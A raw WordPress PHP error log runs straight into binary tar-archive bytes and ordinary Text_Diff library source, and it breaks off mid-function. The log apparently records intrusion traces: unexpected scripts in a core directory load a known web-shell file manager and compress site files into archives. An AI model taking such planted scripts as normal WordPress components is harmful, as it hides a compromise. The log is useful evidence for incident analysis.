[25-Jun-2026 19:36:37 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:48 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:54 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:08 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:10 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:30 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:37:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:59 UTC] PHP Warning:  fileperms(): stat failed for /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/error_log.tar.gz in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 134
[25-Jun-2026 19:38:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:04 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:11 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:11 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/Renderer.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1073
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1073): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1073
[25-Jun-2026 19:38:21 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:38:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:38:22 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/Renderer.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1208
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php(1208): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1208
[25-Jun-2026 19:38:27 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:38:27 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:38:27 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:38:27 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:38:27 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:38:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:38:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:38:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:38 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/Engine.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1073
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1073): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1073
[25-Jun-2026 19:38:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:11:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:11:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:11:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:11:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:11:58 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:11:58 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:11:58 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:11:58 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:12:03 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:03 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:12:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:12:09 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:12:14 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:12:18 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:18 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:18 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 20:12:18 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 20:12:18 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 20:12:23 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:23 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:23 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 20:12:23 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 20:12:23 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 20:12:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:12:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:12:34 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:34 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:34 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:12:34 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 20:12:36 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:12:41 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:41 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:44 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:12:49 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:12:53 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:12:57 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:12:57 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:06 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:13:15 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:15 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:15 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 20:13:15 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 20:13:15 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 20:13:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:25 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:13:30 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:30 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:13:40 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:13:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:13:47 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:13:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:13:54 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/Diff.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1208
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php(1208): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1208
[25-Jun-2026 20:13:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 20:14:05 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 20:14:05 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
                                                                                                                                                                           Renderer/Engine.zip                                                                                 0000644                 00000077134 15217306007 0010260 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PK     |\Eћ      
  string.phpnu [        <?php
/**
 * Parses unified or context diffs output from eg. the diff utility.
 *
 * Example:
 * <code>
 * $patch = file_get_contents('example.patch');
 * $diff = new Text_Diff('string', array($patch));
 * $renderer = new Text_Diff_Renderer_inline();
 * echo $renderer->render($diff);
 * </code>
 *
 * Copyright 2005 Örjan Persson <o@42mm.org>
 * Copyright 2005-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Örjan Persson <o@42mm.org>
 * @package Text_Diff
 * @since   0.2.0
 */
class Text_Diff_Engine_string {

    /**
     * Parses a unified or context diff.
     *
     * First param contains the whole diff and the second can be used to force
     * a specific diff type. If the second parameter is 'autodetect', the
     * diff will be examined to find out which type of diff this is.
     *
     * @param string $diff  The diff content.
     * @param string $mode  The diff mode of the content in $diff. One of
     *                      'context', 'unified', or 'autodetect'.
     *
     * @return array  List of all diff operations.
     */
    function diff($diff, $mode = 'autodetect')
    {
        // Detect line breaks.
        $lnbr = "\n";
        if (strpos($diff, "\r\n") !== false) {
            $lnbr = "\r\n";
        } elseif (strpos($diff, "\r") !== false) {
            $lnbr = "\r";
        }

        // Make sure we have a line break at the EOF.
        if (substr($diff, -strlen($lnbr)) != $lnbr) {
            $diff .= $lnbr;
        }

        if ($mode != 'autodetect' && $mode != 'context' && $mode != 'unified') {
            return PEAR::raiseError('Type of diff is unsupported');
        }

        if ($mode == 'autodetect') {
            $context = strpos($diff, '***');
            $unified = strpos($diff, '---');
            if ($context === $unified) {
                return PEAR::raiseError('Type of diff could not be detected');
            } elseif ($context === false || $unified === false) {
                $mode = $context !== false ? 'context' : 'unified';
            } else {
                $mode = $context < $unified ? 'context' : 'unified';
            }
        }

        // Split by new line and remove the diff header, if there is one.
        $diff = explode($lnbr, $diff);
        if (($mode == 'context' && strpos($diff[0], '***') === 0) ||
            ($mode == 'unified' && strpos($diff[0], '---') === 0)) {
            array_shift($diff);
            array_shift($diff);
        }

        if ($mode == 'context') {
            return $this->parseContextDiff($diff);
        } else {
            return $this->parseUnifiedDiff($diff);
        }
    }

    /**
     * Parses an array containing the unified diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseUnifiedDiff($diff)
    {
        $edits = array();
        $end = count($diff) - 1;
        for ($i = 0; $i < $end;) {
            $diff1 = array();
            switch (substr($diff[$i], 0, 1)) {
            case ' ':
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == ' ');
                $edits[] = new Text_Diff_Op_copy($diff1);
                break;

            case '+':
                // get all new lines
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '+');
                $edits[] = new Text_Diff_Op_add($diff1);
                break;

            case '-':
                // get changed or removed lines
                $diff2 = array();
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '-');

                while ($i < $end && substr($diff[$i], 0, 1) == '+') {
                    $diff2[] = substr($diff[$i++], 1);
                }
                if (count($diff2) == 0) {
                    $edits[] = new Text_Diff_Op_delete($diff1);
                } else {
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                }
                break;

            default:
                $i++;
                break;
            }
        }

        return $edits;
    }

    /**
     * Parses an array containing the context diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseContextDiff(&$diff)
    {
        $edits = array();
        $i = $max_i = $j = $max_j = 0;
        $end = count($diff) - 1;
        while ($i < $end && $j < $end) {
            while ($i >= $max_i && $j >= $max_j) {
                // Find the boundaries of the diff output of the two files
                for ($i = $j;
                     $i < $end && substr($diff[$i], 0, 3) == '***';
                     $i++);
                for ($max_i = $i;
                     $max_i < $end && substr($diff[$max_i], 0, 3) != '---';
                     $max_i++);
                for ($j = $max_i;
                     $j < $end && substr($diff[$j], 0, 3) == '---';
                     $j++);
                for ($max_j = $j;
                     $max_j < $end && substr($diff[$max_j], 0, 3) != '***';
                     $max_j++);
            }

            // find what hasn't been changed
            $array = array();
            while ($i < $max_i &&
                   $j < $max_j &&
                   strcmp($diff[$i], $diff[$j]) == 0) {
                $array[] = substr($diff[$i], 2);
                $i++;
                $j++;
            }

            while ($i < $max_i && ($max_j-$j) <= 1) {
                if ($diff[$i] != '' && substr($diff[$i], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$i++], 2);
            }

            while ($j < $max_j && ($max_i-$i) <= 1) {
                if ($diff[$j] != '' && substr($diff[$j], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$j++], 2);
            }
            if (count($array) > 0) {
                $edits[] = new Text_Diff_Op_copy($array);
            }

            if ($i < $max_i) {
                $diff1 = array();
                switch (substr($diff[$i], 0, 1)) {
                case '!':
                    $diff2 = array();
                    do {
                        $diff1[] = substr($diff[$i], 2);
                        if ($j < $max_j && substr($diff[$j], 0, 1) == '!') {
                            $diff2[] = substr($diff[$j++], 2);
                        }
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '!');
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                    break;

                case '+':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff1);
                    break;

                case '-':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff1);
                    break;
                }
            }

            if ($j < $max_j) {
                $diff2 = array();
                switch (substr($diff[$j], 0, 1)) {
                case '+':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff2);
                    break;

                case '-':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff2);
                    break;
                }
            }
        }

        return $edits;
    }

}
PK     |\S  S  	  shell.phpnu [        <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the Unix `diff` program via shell_exec to compute the
 * differences between the two input arrays.
 *
 * Copyright 2007-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Milian Wolff <mail@milianw.de>
 * @package Text_Diff
 * @since   0.3.0
 */
class Text_Diff_Engine_shell {

    /**
     * Path to the diff executable
     *
     * @var string
     */
    var $_diffCommand = 'diff';

    /**
     * Returns the array of differences.
     *
     * @param array $from_lines lines of text from old file
     * @param array $to_lines   lines of text from new file
     *
     * @return array all changes made (array with Text_Diff_Op_* objects)
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $temp_dir = Text_Diff::_getTempDir();

        // Execute gnu diff or similar to get a standard diff file.
        $from_file = tempnam($temp_dir, 'Text_Diff');
        $to_file = tempnam($temp_dir, 'Text_Diff');
        $fp = fopen($from_file, 'w');
        fwrite($fp, implode("\n", $from_lines));
        fclose($fp);
        $fp = fopen($to_file, 'w');
        fwrite($fp, implode("\n", $to_lines));
        fclose($fp);
